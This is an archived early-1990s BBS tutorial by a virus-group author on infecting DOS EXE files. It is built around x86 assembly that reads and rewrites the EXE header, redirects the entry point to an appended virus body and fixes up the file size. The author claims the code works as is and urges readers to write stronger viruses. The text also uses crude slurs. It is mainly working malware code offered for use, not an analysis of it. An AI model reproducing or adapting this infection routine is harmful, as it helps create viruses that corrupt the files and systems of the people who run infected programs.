home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / programming / asm_programming / ART-E < prev    next >
Text File  |  1992-09-16  |  13KB  |  172 lines

  1.               EXE Infections : PART I  `Infection Process'                 
  2.               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                  
  3.  We must admit there are HUGE amount of Lame Viruses out there. Ever       
  4.  wonder why so many people talk about the AIDS virus? Its a fucken over    
  5.  writting virus. Its HUGE in size and its written in PASCAL. Please! Have  
  6.  a little more respect for the virus world. What happened to that old      
  7.  Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top  
  8.  viruses as it used to! Or are we in for a surprise? (USSR Kicks!)         
  9.                                                                            
  10.  Well to help people in advancing their Virus programming ability I will   
  11.  try to explain that basics in Infecting an EXE file. There are several    
  12.  ways to infect an EXE file. And I have tried several types. The best one  
  13.  I have programmed is the one you'll see. In Basic, it will infect EXEs    
  14.  by starting a new segment, only for the virus. This will infect EXEs over 
  15.  the size of 64k, and it is alot less complicated..                        
  16.                                                                            
  17.  Before we can begin we must know a few things, about EXEs. Let's say a    
  18.  .COM file has been loaded to segment address 1234:0000. When the COM file 
  19.  runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other    
  20.  end EXE files, are basicaly several COMs in one. Where EXE files can set  
  21.  up DATA struct in one segment, CODE in another, and STACK in another. EXEs
  22.  can have an unlimited amount of Segments, its limitation is Memory        
  23.  Availablity. And the EXE file keeps track of these Segments, with an      
  24.  EXE header, telling DOS what segments start where, How big the file is,   
  25.  the amount of memory needed to run. the EXE header is the first few bytes 
  26.  of the EXE file. Though if you use DEBUG to load an EXE file you will not 
  27.  run into the EXE header, as DEBUG uses the EXE header to load its CS:IP   
  28.  regesters with, the SS:SP and so on. Though you can view the EXE header   
  29.  with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'   
  30.  Just rename an EXE, the extension can be anything you wish, however don't 
  31.  go and rename it to COM or BIN, these are reserved Extensions, and debug  
  32.  treats them differently, Example if you rename it to COM debug will load  
  33.  the IP regester as 0100h. The EXE header is Usually 28 bytes, though it   
  34.  is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in  
  35.  multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the 
  36.  last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using   
  37.  it? Just a poping ideas out in the open. Anyhow this is how the EXE header
  38.  consists, of..                                                            
  39.  START OFFSETS            DISCRIPTIONS                                     
  40.  (hex) (dec)                                                               
  41.    00 | 00 | Always 4D 5A. Marks this file as an .EXE file                 
  42.   *02 | 02 | Remainder after dividing load module's size by 512            
  43.   *04 | 04 | Size of file in 512 byte pages                                
  44.    06 | 06 | Number of relocation table entries                            
  45.   @08 | 08 | Size of header in paragraphs (16 bytes)                       
  46.    0A | 10 | Minumum number of paragraphs required after loaded program    
  47.    0C | 12 | Maximum number of paragraphs required after loaded program    
  48.   *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs     
  49.   *10 | 16 | SP regester loaded with this word                             
  50.    12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)     
  51.   *14 | 20 | IP register loaded with this word                             
  52.   *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs      
  53.    18 | 24 | Offset of first relocation item.                              
  54.    1A | 26 | Overlay number. If no overlays used, this is 0                
  55.  * = Will be Edited by our Virus                                           
  56.  @ = Needed to help our reconstruction of the EXE header                   
  57.                                                                            
  58.  First thing to do is read the EXE header for the file to be infected!     
  59.  That can be resolved by...                                                
  60.      mov     ah,3fh                 ; Read from File BTW: BX=File Handle   
  61.      mov     cx,1ch                 ; Read 1Ch Bytes (28)                  
  62.      mov     dx,offset ds:[buffer]  ; Put it in our Buffer we set up!      
  63.      int     21h                    ; Call the Dos to do it.               
  64.      jc      error_exit             ; Error accured, Jmp to an Exit Routine
  65.  buffer  db      1Ch DUP (?)     ;This is how to set up your buffer.       
  66.  exe_ip  dw      0       ;This is were you will save the original          
  67.  exe_cs  dw      0       ;Registers from the EXE header!                   
  68.  exe_sp  dw      0       ;Put all theses DWs & DBs at the end of           
  69.  exe_ss  dw      0       ;you file, with all the others...                 
  70.  Next, after reading the first 28 bytes, you will need to set your file    
  71.  pointers to the end of the file.                                          
  72.                                                                            
  73.      mov     ax,4202h        ; Move Read/Write Pointer to End of File      
  74.      xor     cx,cx           ; plus offset (CX:DX)! So make sure CX:DX     
  75.      xor     dx,dx           ; are ZERO or else it will go further than    
  76.      int     21h             ; the End of File!                            
  77.      jc      error_exit      ; Also test for errors! Be a Smart Virus!     
  78.                                                                            
  79.  After bringing your virus to the end, you may start the infection         
  80.  process...                                                                
  81.  ;Remember BX = File Handle  DX:AX Pointer Location (EOF)                  
  82.      cmp    word ptr cs:[buffer],5A4Dh  ; Is file an .EXE?                 
  83.                                   /\ Reverse double word format            
  84.      jnz    error_exit           ;Exit its NOT an .EXE file!               
  85.      mov    cx,word ptr cs:[buffer+14h]  ;IP register Read                 
  86.      mov    word ptr cs:[exe_ip],cx      ;Save IP Register                 
  87.      mov    cx,word ptr cs:[buffer+16h]  ;CS Register Read                 
  88.      mov    word ptr cs:[exe_cs],cx      ;Save CS Register                 
  89.      mov    cx,word ptr cs:[buffer+10h]  ;SP Register Read                 
  90.      mov    word ptr cs:[exe_sp],cx      ;Save SP Register                 
  91.      mov    cx,word ptr cs:[buffer+0Eh]  ;SS Register Read                 
  92.      mov    word ptr cs:[exe_ss],cx      ;Save SS Register                 
  93.                                                                            
  94.  The following finds new CS:IP and SS:SP registers. It will create a new   
  95.  segment, and CS:IP will point to the beginning of the Virus. If you have  
  96.  other code, and the virus beginning is further down the First byte, just  
  97.  add the number of Bytes to AX.                                            
  98.      push   ax                                                             
  99.      push   dx                                                             
  100.      call   Find_New_Offsets     ;Refer to it at the END of this Text      
  101.      sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!    
  102.      mov    word ptr cs:[buffer+16h],dx ;Save new CS Register              
  103.      mov    word ptr cs:[buffer+14h],ax ;Save new IP Register              
  104.      pop    dx                                                             
  105.      pop    ax           ; Restore Original DX:AX Point Location (EOF)     
  106.      add    ax,virus_size      ; .STACKs are usually at the end of the code
  107.                                ; in the EXEs, since our virus is now at the
  108.                                ; End, we must move it after our virus, thus
  109.                                ; it back at the END of the File!           
  110.      adc    dx,0         ;Add with Carry Flag!                             
  111.      push   ax                                                             
  112.      push   dx                          ;Save new EOF pointer Location     
  113.      call   Find_New_Offsets            ;Get NEW offsets for SS:SP         
  114.      sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
  115.                                         ;as it should not be counted!      
  116.      add    ax,40h                      ;Move Stacks a little after EOF    
  117.      mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks   
  118.      mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks   
  119.      pop    dx                                                             
  120.      pop    ax           ;Restore Original EOF (With Virus Counted)        
  121.      push   bx                                                             
  122.      push   cx                                                             
  123.      mov    cl,7                 ;In Simple, here we are figuring out      
  124.      shl    dx,cl                ;the New File Size in 512byte pages       
  125.      add    bx,ax                ;Now Rather than using the DIV and        
  126.      mov    cl,9                 ;MOD function, I used this one because    
  127.      shr    bx,cl                ;It is alot FASTER for the Processor!     
  128.      add    dx,bx                ;The Result is exactly same, But          
  129.      and    ax,1FFh              ;Shifting bits, results of the            
  130.      jz     Its_Even             ;Same function when dealing with base     
  131.      inc    dx                   ;16 numbers!                              
  132.  Its_Even:            ;Read PeterNorton's Advanced ASM Language for        
  133.      pop    cx        ;more neat short cuts for the above!                 
  134.      pop    bx                                                             
  135.      mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages     
  136.      mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages       
  137.  Now we are Ready to write the virus to the EXE File! (Yeah!)              
  138.      mov    ah,40h                 ;Write to File                          
  139.      mov    dx,offset init_Virus   ;This is the BEGINNING offset of your   
  140.                                    ;Virus! (Look at NuKE PoX v1.1)         
  141.      mov    cx,Virus_size          ;Virus Size                             
  142.      int    21h                                                            
  143.      jc     error_exit             ;Error Exit dude...                     
  144.      mov    ax,4200h               ;Move File Pointer to the BEGINNING     
  145.      xor    cx,cx                  ;of the EXE so, we may now write the    
  146.      xor    dx,dx                  ;EXE header!                            
  147.      int    21h                                                            
  148.      mov    ah,40h                ;Write to File                           
  149.      mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header   
  150.      mov    cx,1Ch                ;CX=number of bytes to write             
  151.      int    21h                   ;Do it!                                  
  152.                                                                            
  153.  ;  finds new Offsets for CS:IP & SS:SP Registers                          
  154.  Find_New_Offsets        PROC    NEAR                                      
  155.          push    bx                                                        
  156.          push    cx                                                        
  157.          mov     cl,0Ch              ;(c) Rock Steady/NuKE                 
  158.          shl     dx,cl               ; I'm dividing here....               
  159.          mov     bx,ax                                                     
  160.          mov     cl,4                ; And multiply by 16 hear             
  161.          shr     bx,cl                                                     
  162.          add     dx,bx                                                     
  163.          and     ax,0Fh                                                    
  164.          pop     cx                                                        
  165.          pop     bx                                                        
  166.          retn                                                              
  167.  Find_New_Offsets        ENDP                                              
  168.                          Rock Steady / NuKE                                
  169.  PS: This code works 100% as is! (Resident Virus) For Non-Residents add    
  170.      a location pointer! Besides, Why the Hell are you write a non-Ressy   
  171.      Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!  
  172.